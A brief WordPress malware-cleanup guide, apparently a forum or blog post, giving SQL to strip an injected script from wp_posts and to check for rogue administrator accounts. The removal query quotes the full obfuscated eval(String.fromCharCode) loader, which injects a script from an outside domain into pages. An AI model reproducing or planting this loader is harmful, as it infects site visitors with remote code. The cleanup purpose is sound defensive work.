Solution:

  1. Make sure wp_options table contains the right content in the URL field. It should match the home field.
  2. Find code starting with “eval(String.fromCharCode(</p>” in wp_posts table and remove using:
update `wp_posts` set 
`post_content` = REPLACE (`post_content`, '<script type=text/javascript>eval(String.fromCharCode(118,97,114,32,117,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,49,57,44,49,49,53,44,52,54,44,49,49,53,44,49,49,54,44,49,48,53,44,49,49,56,44,49,48,49,44,49,49,48,44,49,48,50,44,49,48,49,44,49,49,52,44,49,49,48,44,57,55,44,49,49,48,44,49,48,48,44,49,49,49,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,49,54,44,49,48,57,44,54,51,44,49,49,56,44,54,49,44,49,49,53,44,49,48,56,44,49,48,56,44,49,48,56,44,52,57,44,52,54,44,53,51,44,52,54,44,53,54,41,59,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,32,115,46,116,121,112,101,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,54,44,49,48,49,44,49,50,48,44,49,49,54,44,52,55,44,49,48,54,44,57,55,44,49,49,56,44,57,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,59,32,118,97,114,32,112,108,32,61,32,117,59,32,115,46,115,114,99,61,112,108,59,32,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,48,49,44,57,55,44,49,48,48,41,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,118,97,114,32,108,105,115,116,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,108,105,115,116,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,108,105,115,116,46,99,104,105,108,100,78,111,100,101,115,91,48,93,41,59,125));</script>','')

where `post_content` like '%<script type=text/javascript>eval(String.fromCharCode(%'

To Check if all clear:

SELECT * FROM `wp_posts` WHERE `post_content` like '%<script type=text/javascript>eval(String.fromCharCode%'

3. Check if “ghost” administrators have been created:


select * from wp_usermeta where meta_value LIKE '%administrator%';

If so, remove records.
